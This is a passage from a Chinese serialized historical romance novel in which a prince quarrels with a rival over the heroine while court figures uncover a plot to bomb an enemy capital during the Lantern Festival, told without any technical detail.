一边说着,一边自己亲自动手倒了一盏热茶汤,正欲举至嘴边要去轻抿一口润润喉,忽闻程良的语气隐隐有些支支吾吾地传入到其耳畔:“殿下,衣姑娘,她……” 闻此,轩辕翰即刻停下了手里的动作,一双不怒自威的眼神如霹雳一般刹时移向了程良的脸,猜测着道:“怎么,她的咳疾变得更加严重了?” 一念至此,轩辕翰着急地厉声斥责道:“本王不是吩咐让你往她的屋内多添些炭火吗?你怎么办事的?” 程良其实尚还什么都未说,轩辕翰便已忧心至此,此刻他几乎都不敢看这个主子的眼睛,躲避着其目光垂首低声道:“不是,不是咳疾……” 轩辕翰眯了眯眼睛,甚是纳闷不解地道:“不是咳疾,那是……” 许是实在不知发生了什么,自己亦不敢随便往下胡乱猜想了去,便提高了些许声音催问着道:“她究竟发生了何事?” 程良实在不知道该如何开口,如此重要的人,青天白日竟就在自己的眼皮底下没了影踪,这主子会不会扒了他的皮:“姑娘啊姑娘,你究竟去哪儿了?你这不是要我程良的命嘛!” 心里一边思量着,嘴里仍旧只喃喃低语道:“她,她……” 轩辕翰将手里的茶盏重重地拍在了面前的案几上,瞬间,尚未入口一滴的茶汤却是全都飞溅了出来,随之一声厉喝道:“还不快说!” 被惊吓的程良唰的一下跪倒在地,朝其如实禀告道:“衣姑娘,她带着燕儿一起偷偷溜出去了!” “你说什么?”轩辕翰霎时惊立起身来整个人都呆住了。 待稍一回过神来,忙追问:“这是什么时候发生的事?” “应该是傍晚天色刚暗下来,乘着守卫们交接换班的时候乔装打扮出去的。”程良怯声道。 轩辕翰一边缓缓坐下,一边若有所思地道:“本王千算万算,尽没有算到她会自己偷溜出去。她为什么要偷溜出门,她想去哪里?为何不告诉本王一声?难道,是本王待她还不够好?” “殿下不必过于担心,如今东宁城里到处遍及我们的耳目,且属下已经放出消息暗中全力搜索,相信很快便会有消息传回的。” 看到主子忽变得失魂落魄,生怕他再次如同在北烈战场上一样出事,程良忙开口宽慰其道。 轩辕翰却依旧忧心如焚:“如今的东宁国,表面上看起来风平浪静,实则到处危机四伏。近来明显可见其加强了各个城门口处的防守,定是我们的行迹已然暴露。环境如此危险,她怎能独自一人出门?“ 顺着轩辕翰所说,程良亦是越听越担心,朝其致歉道:“是属下疏忽了,请殿下责罚。” 然轩辕翰却只顾紧紧握住自己放在案几上的一只拳头若有所思着,稍时,忽地立起身来。 随之一声:“还不快带人去找!” 程良方才忽地反应过来,忙起身,朝其身后追随着跟了出去。 启料轩辕翰亲自带着程良与一队人马刚出门到了门口,便被眼前的一幕惊呆了。 此时,刚赶回到门口的衣上云主仆俩,正背对着门口处欲与易三少致谢道别,对于身后的大队人马丝毫未察觉到。 易三少的余光霎时间扫到了正从门内渐渐现身出来的轩辕翰等人,便紧忙伸出双手到衣上云的胸口处,佯装替其紧了紧披风。 衣上云见其好心好意关怀,便对其扬起谢意来笑了笑柔声道:“谢谢三少!” 易三少亦扬起一脸的满足来朝其诚恳温柔地道:“你我之间,永不言谢!只要是你,让我做什么我都愿意。” 霎时间,一阵风袭来,将衣上云额头的刘海吹乱了些许,易三少一见,竟将一边静立着的轩辕翰当做空气一般地完全不理会,朝其索性挑衅着,再次附手上去替其拨了拨柔软的发丝。 就在这时,轩辕翰终于再也按捺不住心头的怒火,气冲冲地夺门而出一步跨出了门槛,三步并作两步地出现挡在了两人之间。 衣上云惊诧不已地看着他冰冷的脸道:“殿下,你怎么出来了?” “本王若再不出来,你可还记得回来的门开在哪边了?”轩辕翰深看着她的眼睛气着道。 继而又冷冷地瞪了易三少一眼,遂将衣上云的一只胳膊一把紧紧地捉住拽到自己的身后藏了起来,另一掌顺势大力地将易三少推开,易三少连连后退了数步方才定住。 这时,方才厉声呵斥警告其道:“易三少,本王不管你怎么会出现在东宁国?本王同你已经讲过多次,让你离她远点儿。否则,下次本王便不保证你还有站在本王面前的机会了。” 易三少看看他,又看了看其身后犹如一惊弓之鸟的衣上云,脸上对其露出一脸担忧。 可看着看着,他又忽然笑了起来,看似一点儿也不为之威胁所动容,冷哼了一声,幽幽道:“哼,轩辕翰,我已经忍你很久了,你凭什么与我说这样的话?” 轩辕翰咬牙切齿静静地立着,易三少亦步步紧逼,字字见血地望着衣上云的脸,道:“丫头与你有何干系?她是你的奴仆?还是你的物品?亦或是,你能把府上已有的那位正妃给休弃,重新立她为妃?还是,你本就打算只是玩玩而已,根本就没想过要给她名份?” 第四百六十六章:我的心不大 易三少步步紧逼,字字见血地望着衣上云的脸,道:“丫头与你有何干系?她是你的奴仆?还是你的玩物?你能把府上已有的那位正妃给休弃,重新立她为妃?还是,你原本就打算只是玩玩而已,根本就没想过要给她名份?” 只见轩辕翰越听脸色愈苍白,心中怒火已然被成功勾起,似是想都未想,脱口便道:“本王的事……” 正说着,忽一对上衣上云此刻似是也同样对其投过来的有些质疑的眼神,忽然收起了已到嘴边的话。 转而横眉怒视向易三少,狠狠道:“无论本王想要做什么,都与你无关!” 闻此,易三少忽然莫名地笑了起来,依旧看着衣上云的脸一字一顿地说道:“曾经我一直以为,只要是丫头喜欢的,我就替她感到高兴。所以即便是知道他的心里只有你,但只要能远远的看着她好好的,我便已经心满意足,我愿意成全。也曾见你还算是个有担当的男人,想你定不会辜负丫头对你的一片痴心。” 易三少说着说着忽然停了下来,眼前不禁浮现起与衣上云的初次相识,以及后来俩人之间所发生的点点滴滴,她的坚强、正义、乐观、善良,一切都是那样地让他感觉到从未有过的幸福感。 稍后,他忽然将目光移向轩辕翰的脸,又继续肃声道:“可如今,我亲眼看着她因为你,这一路走的辛苦疲惫,心惊胆战。原来,你根本就保护不了他。所以,轩辕翰,从现在开始,我再也不会袖手旁观,看着丫头为你受苦了。” 闻此,衣上云顿时惊诧不已愣愣地看向易三少的脸,一种对她从未有过如此抱歉的感觉从心底油然而生。 这番发自肺腑之言,就连一脸冰冷的轩辕翰亦是对其这种默默无闻的守护生出一抹敬畏来。 一时间里,在场的所有众人皆都鸦雀无声,似是没有一个人敢大口喘气。周围的空气随之亦静止了下来,时间仿佛永远定格在这一时刻。 显然,眼前这俩人当着这么多下人的面为自己争风吃醋,若是再继续这样下去,轩辕翰定会失了面子。 眼看着轩辕翰沉默了半晌后,慢慢紧握起双拳来,似是积聚在心中的怒火跃跃欲试着将要发作出来,衣上云一步上前抢先开了口:“承蒙三少抬爱,云儿受之有愧。只是云儿自己的事,还望三少能让云儿自己做主,可好?” 易三少继续尝试努力争取着:“丫头,你难道到现在还看不出来?眼前的这个人,他根本就给不了你想要的幸福。你又为何还要继续如此执迷不悟下去呢?” 启料轩辕翰竟抢过话去信誓旦旦道:“谁说本王给不了她想要的幸福!本王定会让她成为灵空大陆上最尊贵无比的女人。” 闻声,衣上云顿时回过头去看着轩辕翰此刻认真无比的脸,惊呆了。 而易三少愣了一会儿,却对其所说一脸嘲讽地道:“你拿什么……” 话刚开口,衣上云复又转回脸去对着易三少挤出一抹笑来道:“对了三少,方才听你说,不是还有其他要事要办吗?今日天色已晚,不如三少请先回吧,云儿,云儿也感觉已经有些累了。” 说着,对易三少悄悄使了个眼色,继而便佯装疲惫虚弱地用手轻抚向额头。 易三少似是对其意图尚还有些迷惑不解,轩辕翰见她露出疲惫之色,便伸手一把将其拽了回去,霸道地揽入自己怀中。 见其动作粗暴,易三少顿时忿忿地朝其怒吼道:“轩辕翰,你轻点儿……” 却是话刚开口,便被轩辕翰一双冷厉深邃的眸子狠狠瞪了过去,又见衣上云在他的怀里似是小鸟依人般紧靠着一点儿也不反抗,甚至看起来脸上还颇为安心的样子,遂默默收了声。 最后,独自一人站在街头,默默地目送着轩辕翰揽着衣上云在前,带着一众人等一齐打道回了府。 许久后,终是满脸落寞与不甘地缓缓转身,渐渐消失在一片夜雾之中…… 将衣上云送回房中后,轩辕翰冷冷淡淡地道:“困了就好好休息吧!” 说完,便转身欲要离开。 衣上云顿时清醒了过来,从其身后一把拽住了其披风一角,嘟着嘴朝其赔礼道歉:“对不起,我错了。” 轩辕翰早已知道她方才并不是真的犯困,而是佯装的,遂嘴角微微一斜,勾出一抹轻笑来,背对着她故作肃声地说道:“错了?错哪儿了?” 此话一出,衣上云急急在脑海里搜索起答案来,道:“方才在门口,易三少说的那些都是气话,殿下您大人不记小人过,不要把他放在心上,不要理会他,可好?” 轩辕翰从来都未曾把易三少当过对手,而此刻却是诚心想要戏耍衣上云一番,不然如何消气,于是故作姿态道:“可是,易三少他说的其实也没错啊!无论如何,你的皇妹,东宁国的永乐公主,如今已然先入为主,成了本王名义上的妻子。而你,最多以后也只能是本王府上的一名侧妃……” 衣上云听着,渐渐卸去了脸上的笑意,又缓缓松开手来攥着自己的衣裙,低头默默地看着自己的脚尖道:“其实,云儿根本从来都没有想过什么正妃,侧位的头衔。只要殿下眼下对云儿尚还不弃,能让云儿留在您的身边,能多一日,便多一日,云儿已是心满意足,不敢奢望更多……” 明明是自己要存心戏耍于她,但一听到她这番落寞凄凉的话,轩辕翰越听越心疼,哪里舍得,于是急忙转过身去将她揽住怀中,道:“傻瓜,即便你不在乎,本王也在乎,本王一定有办法的,相信我,好吗?本王发誓,此生一定不会负你,绝不让你受一丁点儿委屈。” 衣上云听了,轻轻抿了抿嘴唇,动了动自己柔软的身子往他温暖宽大的怀中靠了靠,对其解释道:“殿下今日可是真的生云儿的气,云儿真的是在街上偶遇的三少?” “本王相信你,只是,在你心底深处,是不是也曾对易三少有过些许的好感。毕竟,本王看得出来,他也是真的喜欢你。”轩辕翰竟不敢相信自己会问这样的问题。 衣上云抬头看着轩辕翰的脸,一字一顿道:“殿下,我的心其实并不大,但是刚刚好,就只能装下殿下一人。这一生,云儿只求能与殿下一生,一世,一双人。” 轩辕翰垂首与她相互对视着,眼里极尽温柔,听了其所说心里只觉暖暖的,就连周围的甜蜜气氛似是也在悄悄发酵,最后终将二人吞没,忘情地深吻在一起。 许久后,轩辕翰双手抱着衣上云的纤纤细腰,叮嘱道:“本王不许你以后再单独见他了,知道了吗?” “嗯,云儿记住了!”衣上云毫不犹豫地应道。 这时,衣上云从袖兜里缓缓掏出一个精致的白玉镂雕香囊来,将其递到轩辕翰的面前,欣喜地道:“殿下,新年快乐!新年新气象!” 直到现在,轩辕翰终于反应过来:“所以,今晚你偷偷溜出门去,其实,只是为了给本王寻这个香囊?” 衣上云连连点头,道:“云儿见之前做给殿下的那个香囊已然失去了效用,便带着燕儿一起出门去再给殿下寻了个回来。只是,与殿下赠云儿的百宝箱相比,云儿的一点儿也不足挂齿。这个香囊可以防治疫毒,药包里面是由苍术、藿香、艾叶、吴茱萸、雄黄、冰片、樟脑等制成药,这类香囊气味温香,走窜,深沉,持久,具有避其毒气的作用。” 轩辕翰着实喜欢极了,一脸喜悦地将其捧在手心,至于衣上云都说了些什么,早已听不进去,兀自只不以为然地道:“不,云儿送给本王的礼物,于本王而言,都是无价之宝,弥足珍贵。” 昏黄的烛火下,俩人遂紧紧地相拥在一起,跳跃的烛光将俩人的影子一起跳跃着映在了窗户上,看起来甜蜜又温馨,浪漫溢满屋。 有人欢喜,便就有人忧愁。 正所谓何以解忧,唯有杜康,然却不知,借酒浇愁愁更愁,酒不醉人,乃是人自醉也。 眼看着子时将过,街上的酒馆早已过了打烊的时辰。 而独自一人已喝了许多闷酒的易三少,心里着实苦闷憋屈极了,自斟自饮自言自语着道:“为何你就是不相信我,只有我,才是真的对你好。那个秦王,他给不了你幸福,给不了,给不了,你怎么不信,为何不信,总是不信我呢……” 说着,又是一杯酒一口一饮而尽。 一旁的店掌柜和伙计几次上前劝阻,都被呵斥了回来。这会儿,似是也只能无奈地悄悄待在一边不停地摇头,不敢作声,小心伺候着。 显然,遇到这样可气可恨又可怜的客人,他们仿佛也只能是自认倒霉了。 “大过年的,本来还想早早关门回家陪着老婆孩子过个节呢!” 那掌柜的和伙计正交头接耳议论着,忽闻店门口传来一阵急匆匆的脚步声,那声音似是越来越近,像是…… 第四百六十七章:近日城中可还太平? 那掌柜的和伙计正交头接耳议论着,忽闻店门口传来一阵急匆匆的脚步声,那声音似是越来越近,像是直冲着这家酒馆而来。 闻声,伙计与掌柜俩一齐从柜台边下来,朝门口过去探视,刚一到门口,便被进来的俩名侍卫一把推开,贴到了门板上。 随后进来一名气度不凡的男子,对正在依旧独自饮酒的易三少笑着说了句:“易三少,好久不见!” 易三少满脸嫌弃地白了他一眼,继续兀自自斟自饮着道:“是你!真是扫兴!你来做什么?” 那男子继续笑着,上前客气地道:“不知三少大驾光临,有失远迎,失敬失敬。再怎么说,也得让本皇子尽尽地主之谊,是不是?” 易三少哼笑了一声,道:“有这个必要吗?我跟你很熟吗?” 梅志煊不请自座,道:“还请三少移步,就之前北烈一行之事,本皇子自会给三少一个交代!” “哼……”闻此,易三少终是立起身来,一众人等,随之浩浩荡荡地离去。 这一夜,注定是个无眠之夜。 倚梅轩里,并不像其余各处宫殿里到处灯火辉煌,被照的如同白昼一般,反倒处处一片寂静。 屋内,看着爱子终于安睡了的轩辕玥,缓缓起身来移步到书房里坐下。 对着摊在手心里的那块玄色腰牌看着看着,忽然默默流起了泪来。 这块腰牌,上面被小时候顽皮的自己从秦王轩辕翰手中骗来,在背面刻上了一个月牙儿的痕迹,为此还被父皇狠狠责罚。 端详了半晌后,独自开口自言自语喃喃地道:“秦皇叔,真的是你吗?是你带走了云儿,对不对?” 本来对自己而言,有情人终成眷属,是值得开心的一件事,然却因了这块不同寻常意义的腰牌的出现,她却更加担心了起来。 看来,打一开始,她最担心的事,果然还是来了。尽管她心里亦不是没有准备,只是没想到会来的这么快。 这些时日以来,她日日寝食难安。 想了许多许多,究竟是该将这个消息告诉梅志煊,还是应该为母国的行动保守秘密。 “吱呀”一声。 婢女锦兰双手捧着一茶盘,里面放着一壶刚刚沏好的热茶和一碟精致的点心走了进来。 锦兰扬起一脸期盼来端着点心送到轩辕玥的面前道:“奴婢近日见公主的咳疾似是又犯了,便亲手按照衣姑娘所教的,做了这个松子百合酥,公主快尝尝,可还是记忆中的那个味道。” 轩辕玥这才回过神来,望着那碟金灿灿的百合花状点心,缓缓伸过手去捏了一块,嘴里喃喃道:“松子百合酥……” 看到轩辕玥终于算是对多日以来送进来的食物起了那么一点儿兴趣,锦兰高兴又着急地问:“怎么样,公主可还喜欢?” 轩辕玥幽幽道:“山长水阔,物是人非。” 随即提笔一气呵成道: 别后不知君远近,触目凄凉多少闷。 渐行渐远渐无书,水阔鱼沉何处问? 夜深风竹敲秋韵,万叶千声皆是恨。 故攲单枕梦中寻,梦又不成灯又烬。 看着轩辕玥书写下的这段凄凉之词,锦兰又怎不知这个主人心里长久以来的痛苦与煎熬,可这就是作为皇室女子的命运与悲哀,从来都没有人可以幸免。 锦兰看着此时轩辕玥紧紧皱起的眉头,目光怔怔地落在案几上的那块沉重的玄色腰牌上,心里舍不得,可又不得不问:“公主还是没有想好,要不要将这个重要的消息告知三皇子殿下吗?” 看到轩辕玥一直目光呆滞着,也不再说话,知道这个主人显然还是没有做好最后的决定。也是,如此关系重大的事情,任放在谁身上,都不可能轻易就作出决定。 于是,锦兰无奈地摇了摇头,复又端起茶盘退了出去。 锦兰掀开门帘,刚出门一见来人,便惊诧地开口道:“三,三皇子回来了……” 说着正欲朝其行礼,梅志煊伸出一只手去将她拦住,唯恐打扰到屋里的人。 梅志煊进门后,远远地便见轩辕玥正坐在书案前发呆,定定地望着她的脸许久,轩辕玥似是并没有丝毫的觉察。 梅志煊便提步继续走到了其身后,想要看看她究竟在想些什么? 一见到她的笔墨,方才明白了过来,道:“每逢佳节倍思亲,玥儿可是又在思念故土了?” 闻声,轩辕玥这才急急回过神来,忙立起身欲朝其行礼,梅志煊一把将其扶住:“不必多礼!” 轩辕玥一边直起身来,一边问:“殿下什么时候回来的?” 梅志煊道:“刚刚回宫。” 轩辕玥与其一道往暖榻边走去落座,一边试探着问:“近日城中可还太平?” 梅志煊听了有些惊讶,看着她的脸问:“玥儿为什么这样问?” 轩辕玥见其疑心升起,却仍故作镇定地一边倒茶一边说:“啊!这明日不就便是一年一度的元宵佳节了么?想来到时候,城中各处漫天烟花,人山人海一定热闹非凡。殿下身负护城重任,近日必定会加强城中的各处防守,玥儿只是觉得,城中若是太平,殿下也就不必太过于辛劳了!” 对于轩辕玥的有些话,梅志煊向来半信半疑,此刻稍一思量,忽捉住轩辕玥正递茶盏过来的手道:“原来如此,本皇子就知道,玥儿早已经不怪本皇子了。本皇子说过,本皇子所做的一切,都是为了玥儿和我们的孩子。” 轩辕玥听了,淡淡地笑了笑。 梅志煊遂松开轩辕玥的手,对其胸有成竹地道:“玥儿不必忧心,城中一切都非常太平,就算是不太平,本皇子亦有办法让那些安插在各处的暗桩一个个暴露出来,继而将他们全都擒获。” 闻此,轩辕玥的心里忽然咯噔一下,似是很不舒服的感觉,于是便道:“夜已经很深了,殿下该早些回去歇着了,明日公务一定很是繁重。” 启料梅志煊的眼神忽然变得温柔了下来,再次附上她皙白柔软的手,一边轻抚一边眼里透漏着一种极深的欲望,道:“玥儿,你我已经很久没有……” 轩辕玥忙开口推拒:“殿下,玥儿身子最近不太方便……” 梅志煊信以为真,虽觉扫兴却因轩辕玥终于能与自己好好交谈,想着夫妻俩人之间,只要还能好好交流,总会慢慢越来越好的。 于是,便抿了抿嘴唇,拍了拍她的手道:“无妨,来日方长,玥儿的身子最重要。那,本皇子今夜就先回了,玥儿你也早些歇着。” 就在梅志煊起身正欲离开时,忽闻“啪”的一声。 原是那块玄色腰牌,竟然出其不意地从轩辕玥的袖兜里掉了出来,落在地上,刚好自己与梅志煊中间的脚下。 忽然间,似是连屋内的空气亦都停止了流动,轩辕玥怔怔地望着脚下,大气都不敢喘息一下。 梅志煊顿足弯腰下去,捡起地上的那块玄色腰牌,看了一会儿,脸上一片煞白。 若是旁人,或许不一定知道这块腰牌的意义,可对于常常与西秦兵器商人打交道的梅志煊而言,怎会不识得这块腰牌?只是这块腰牌的主人又是谁呢? 就在轩辕玥一时间心乱如麻,不知该如何解释这块腰牌时,梅志煊却将其拾了起来还到轩辕玥的手里,柔声笑着提醒她道:“如此值得怀念重要的物件,玥儿当小心收着才是!” 轩辕玥似是还想开口再解释些什么:“殿下,玥儿没有……” “玥儿不必解释,你是本皇子的妻子,本皇子自然是相信你的!”梅志煊说完笑了笑,方才转身迈步离去。 出了门,梅志煊肃声命令道:“照顾好你家公主!” 看到梅志煊的背影彻底消失在倚梅轩院子里,一直守在门口的锦兰方才推门而入。 只见轩辕玥手里紧紧地攥着那块玄色腰牌于胸前,两行眼泪不知何时悄悄地流了下来。 锦兰愣了一会儿,上前近身过去问:“公主,三皇子他,他知道了?” 轩辕玥默默地点头,无辜地道:“是它自己掉出来的”。 一室寂静,主仆俩一时间面面相觑着不知该说些什么…… 细细思量了一路,终于回到了自己书房的梅志煊落座下来,对其身边的侍卫缓缓道:“看来,那秦王轩辕翰,必定是在我东宁国城内无疑了。” 闻声,侍卫顿时又惊又不解地问:“秦王,他真的……殿下是如何确定的?” 是啊,这一点梅志煊的确本来也不确定,原本,他只是想在明日行动前,见轩辕玥一面。 不料,方才那块腰牌掉落时,轩辕玥的反应足以证明,那腰牌的确是轩辕翰的无疑,若是别人,怕她也不会那般紧张。 见梅志煊只是若有所思着却并没有说话,侍卫顺着他的话想了想。 “这么说,那夜,一定是那秦王带人潜入宫里带走了嫡公主!” “还有,上次我们与西秦的兵器交易,也一定是那秦王精心安排的。” 侍卫这才连连反应过来,虽事已过迁,还是忍不住吓出一阵冷汗来。 忽然,侍卫似是想到了什么,遂忧心纳闷地道:“那……那秦王,他如今究竟藏身在何处?眼看着明日就是元宵佳节了,那些西秦人久久留在城中不肯离去的企图究竟是什么?我们尚还未全知,殿下,我们的时间可不多了。” 这时,梅志煊半眯起眼睛来默默开口道:“既然找了这么久,还是无法找到那个秦王轩辕翰的藏身之处。看来,只有利用他了?” 第四百六十八章:二度结盟 梅志煊道:“既然找了这么久,还是无法找到那个秦王轩辕翰的藏身之处。看来,只有利用他了?” 侍卫听了,眼珠子咕噜一转,稍一回想便道:“莫非,殿下说的是方才酒馆里的那位易三少?” 见梅志煊挑眉,看来应是自己猜对了,可心里却是更加地纳闷:“那个易三少一身的妖艳脂粉气不说,且单枪匹马,他能有什么本事?咱们这么多人找了这么久都找不到的人,他能找到?” 梅志煊深看了他一眼,胸有成竹地道:“如果本皇子没猜错,那易三少今夜定是已经见过秦王轩辕翰了。这个人的心一直都系在嫡公主身上,没想到竟跋山涉水地又追到了我东宁来。今夜的酒醉,怕是就是因为他二人所起。” 侍卫听了恍然大悟:“原来如此。” 随之,想起方才与其见面时并不怎么愉快的情景,侍卫顿时忧虑起来:“可那易三少,他会答应帮我们吗?方才见他的样子,似乎对于殿下,并不怎么友好啊!” 梅志煊嘴角勾笑着道:“他既然能答应跟本皇子走,便就证明,他的事情一定不那么顺利。他想要抱得美人归,还需要本皇子的帮助。” 侍卫似是忽然明白了其中缘由,顿时朝其一脸钦佩地道:“殿下英明!” 翌日上午。 城中一酒楼的包厢里,梅志煊与易三少俩人果然相对而坐了下来。 易三少高高抬起一边的眉毛,始终一副潇洒不羁的架势,自顾自一边自斟自饮着,一边饶有兴致地开了口。 “说说吧,就之前北烈一行之事,你我约定好一起找回云儿,然后带她回东宁国认祖归宗,继而由你说服你父皇将云儿赐婚与我。可为何三皇子言而无信,偷袭我之后还独自将云儿带回东宁国?如今,兜兜转转,云儿又是怎么再次落到了那秦王轩辕翰的手里。这一切,三皇子究竟作何解释?” 听了易三少的的话,梅志煊心里默默地道:“本皇子果然没有猜错,他真的已经和那俩人见过面了。” 忽地回过神来,梅志煊忙附手过去佯装着一脸歉意地为对面的易三少斟酒,道:“之前的确是本皇子一时情急,考虑不周,得罪了三少,还望三少海涵。” 易三少冷哼了一声,似是对其这个牵强极了的理由一点儿也不满意,便漫不经心地道:“一时情急,考虑不周?” 梅志煊深叹了口气,面露难色着道:“三少有所不知,多年以来,父皇一直都在等着皇妹回宫,为此常年思念终成疾。就在当时找到皇妹的前几天,本皇子收到宫里的密报,说父皇身体抱恙,怕是…… 话说至此稍顿了顿,又继续道:“因此,本皇子一见到皇妹,方才心中一急,想要父皇早些看到她,祛除心疾,这才将她抢先带回了东宁。启料,皇妹刚入宫,尚未来得及与父皇相认,便被那秦王轩辕翰尾随而来复又抢了去。真是可气,可恨!” 梅志煊说完,将一掌重重地拍在了面前的案几上。 易三少对梅志煊的话仍有些半信半疑地道:“可即便如此,三皇子也无需在偷袭我后将云儿独自带走吧?” 梅志煊认真道:“本皇子深知,三少对皇妹关心备至,一往情深。当时,见皇妹深陷昏迷之中,想三少定不会同意本皇子就这样带着皇妹让她饱受舟车劳顿,跋山涉水之苦。因此,本皇子方才出此下策,还望三少明见!” 易三少当然知道梅志煊的这些鬼话并没有什么可信度,可心下里一想,如今他独自一人身在东宁国,想要对抗轩辕翰,他需要他的支持,还有日后进宫面见东宁国君,都需要他的引荐。 于是,便就这样先勉强表面言和了:“既然事出有因,念你亦是一片孝心为了老国君着想,且就先原谅你一次,下不为例!” 闻声,梅志煊举杯笑着亦道:“下不为例,谢三少!” 俩人遂一起将各自手中的酒一饮而尽,以示二度结盟。 这时,梅志煊方才开口问:“对了,敢问三少是不是已经在我东宁见过皇妹与那西秦秦王了?” 既然是结盟,定是要各自拿些诚意出来才是,亦是预料之中的事,易三少倒也懒得替其遮掩,遂放下手中的酒盏道:“没错,都见了。” 见此,梅志煊倒也干脆利落,气道:“实不相瞒,前些日子,本皇子从一伙西秦商人手里买了些东西。只是没想到,那伙西秦人居然心术不正,至今尚还藏匿在我东宁境内迟迟不肯离去,不知是何居心?” 易三少顿时领悟道:“三皇子是在怀疑,那伙西秦商人,是受了秦王轩辕翰的指使?” 霎时间,俩人的目光碰撞在一起,似是迸射出一种相同的火花出来。 半晌后,梅志煊先开口道:“就在刚才本皇子来找三少的路上,有探子报告,说今夜那秦王轩辕翰会带人炸掉我整座东宁城?” 易三少一听,心下里顿时倒抽了口凉气:“原来轩辕翰此行隐蔽的任务竟是如此打算。” 遂又紧忙回过神来故作镇定地道:“不知三皇子殿下,希望我怎么做?帮你揪出这些人来,阻止他们的行动?” 梅志煊一笑,道:“不,恰恰相反,本皇子希望三少能让秦王的计划坐实了。因为,本皇子觉得那秦王的计划……甚好!” 易三少听了一脸愕然不解地道:“甚好?” 梅志煊笑而不语。 易三少惊诧地道:“你既然已经知道了,为何不去制止?” 梅志煊理所当然地道:“秦王轩辕翰图谋不轨,本皇子身为东宁国的护城军统领,自然要捉拿他,捉贼捉赃,本皇子今夜必定一击即中。” 顿时间,易三少看着梅志煊的脸惊呆了。炸掉一座城,这可不是闹着玩的。 不知不觉间,时间便已至黄昏时分。 轩辕翰从衣上云的屋里缓步出来,一袭黑衣锦袍,目光如炬,墨发全束,准备出门。 临走之前,不忘再最后叮嘱命令一次门口看守的侍卫道:“天黑之后,务必看好她,无论今夜外面发生了什么事,都不许她踏出这座院子半步。” 侍卫抱拳朝其认真地领命,道:“属下遵命!” 说完,似是隐隐还是有些不放心,遂回头看了看屋内燃起的暖暖的烛火之光,兀自恋恋不舍地转头提步朝着门口离去。 屋内。 衣上云不知为何,一想到方才轩辕翰于烛火之下那张阴沉的脸,总觉得心神不宁,坐立不安,似是今夜一定会有什么大事发生一般。 此刻,她回想着轩辕翰方才离开前所说的最后那句话:“过了今夜,本王便带你回家。” 显然,他定是瞒了自己一些很重要的事情,见他头也不回地自顾离去,她心急如焚地起身来在屋内来来回回踱起步,嘴里碎碎念道:“燕儿啊燕儿,让你去打探个消息,怎么到现在还不回来?” 说着,“吱呀”一声。 伴随着门被打开,终于传来熟悉的声音道:“小姐,小姐。” 衣上云闻声疾步朝其过去将其一把捉住,一边往里面走,压低声音问:“燕儿!你终于回来了!怎么样,可有探听到什么消息吗?殿下他究竟出去做什么了?” 直到与燕儿一起来到烛火旁边,方见其脸色一片煞白,衣上云愣住了一会儿,忽地回过神来问:“燕儿,你这是怎么了?脸色怎么这么难看?” 只见燕儿的脸上,眼中俱都是恐惧一般,似是冒着冷汗,小小的身子还有些微微发抖,颤颤巍巍地直道:“小姐,小姐……” 衣上云不知到底发生了什么,只得一遍接一遍地催问:“到底发生了什么事?燕儿你倒是快说啊!” 燕儿似是至今都不敢相信自己的眼睛,方才偷看到的一张地图上,画着许许多多的红点,只嘴里语无伦次,又似是胡言乱语地道:“红点,密密麻麻的红点,红点,密密麻麻……” 衣上云越听越迷糊,却是越担心:“什么红点?什么红点啊?” 燕儿依旧在发抖,依旧似是在胡言乱语:“地图上,红点,密密麻麻的红点,爆炸点……” “地图,红点,爆炸点……”衣上云借着几个关键词,终于听懂了燕儿的话。 却是一时间只觉得自己两腿发软,随即“扑通”一声跪倒在地上,霎时间手脚冰凉,脑子里一片混乱,耳边直嗡嗡作响,嘴里痴痴地道:“殿下,你,你这是要炸掉整个东宁皇城吗?” 她这才反应过来,难怪轩辕翰将她从宫里带出来以后,一直都隐居于此迟迟不肯离去。 原来,他是在悄悄密谋计划其他事情。 一时间,许许多多的人的脸从她的脑海中一一浮现出来,衣上云低声喃喃道:“皇上,玥公主,众多无辜的东宁子民,一个个鲜活的生命,不可以,不可以,殿下你不能这么做,不能……” 第四百六十九章:终是漏算了一人 “皇上,玥公主,还有众多无辜的东宁子民,一个个鲜活的生命,不可以,不可以,殿下你不能这么做,不能……” 说着,衣上云便跌跌撞撞地起身来夺门而出。 却是一出门,便被两个如同门神一般的侍卫死死拦住:“衣姑娘,殿下有令,今夜姑娘不得出门。” 衣上云朝其瞪大了眼睛,惊呆了。这才反应过来,近来一切所有事情自己一直都被蒙在鼓里。 无奈重新退回到屋内的衣上云主仆俩,此刻犹如热锅上的蚂蚁被炙烤着,坐立不安。 看着窗外夜空中冉冉升起,朵朵炸开的绚烂烟花,将整个夜空点亮,衣上云的眼睛红了。 燕儿已然被吓得不轻,哭着道:“小姐,我们该怎么办才好?事情怎么会变成现在这个样子呢?” 衣上云眉头深锁,在屋内一边不停地来回踱步,一边似是像在安慰自己一般自言自语道:“不会的,殿下不会这么做,殿下不会这么残忍,这其中一定另有隐情,他不会,他不会……” 轩辕翰出门后,便兀自来到了早已约定好的城里一家茶馆雅间。 这些便是此次假扮与梅志煊交易的西秦商人代表,亦或称作伏兵首领,是璟帝特意为轩辕翰此行秘密组织的一支神秘人马。其中,自是少不了璟帝的心腹。 众人不到天黑便已早早聚齐在此恭候多时,一见到轩辕翰的身影终于出现在眼前,个个忙立起身来朝其行礼后一众人等围桌而坐,程良立于轩辕翰身后。 许是因为轩辕翰今夜的面色比以往更加阴冷了几分的缘故,在场众人半晌竟均都无人敢开口说话。 最终,还是其中一看似是较其他人更加有身份地位的老者,开口问道:“今夜,可谓是我们行动的最佳时机,如果错过了,怕是便就很容易会暴露我们的身份,不知秦王殿下可是已经都想好了?” 闻声,轩辕翰遂将一双寒光无比的剑目冷冷地射向了那人,却是最后又渐渐隐忍了下来,继而唇边勾起一抹弧度来道:“既然各位都已经煞费苦心地布置了这么久,如今早已是箭在弦上,不得不发,本王现在说什么亦或想什么,还有用吗?” 那老者听了轩辕翰所说,似是忽然明白了什么,遂对身旁的人悄悄使了个眼色,那人便如同珍宝一般地从怀中拿出一卷地图来,将其展开铺在桌面上。 紧接着,老者言语里带着几分诱惑,兴奋地道:“事关重要,还望殿下恕罪。秦王殿下放心,今夜的行动保证万无一失。等到城中各处爆炸点被引爆后,我们于城内外四处所藏匿的全部人马便会人不知鬼不觉地乘乱一举攻城,拿下整个东宁这块肥肉。到时候,皇上一定会重重赏赐殿下!” 轩辕翰随意地垂眸看去,见那果然是同自己手里一模一样的东宁国城防图,上面却被标注着许许多多的红点记号,遂一下子朝其惊呆了:“这些便是所有布置在城中的爆炸点?” 老者点点头,似是对自己的这些布置方案尤为满意和自信。 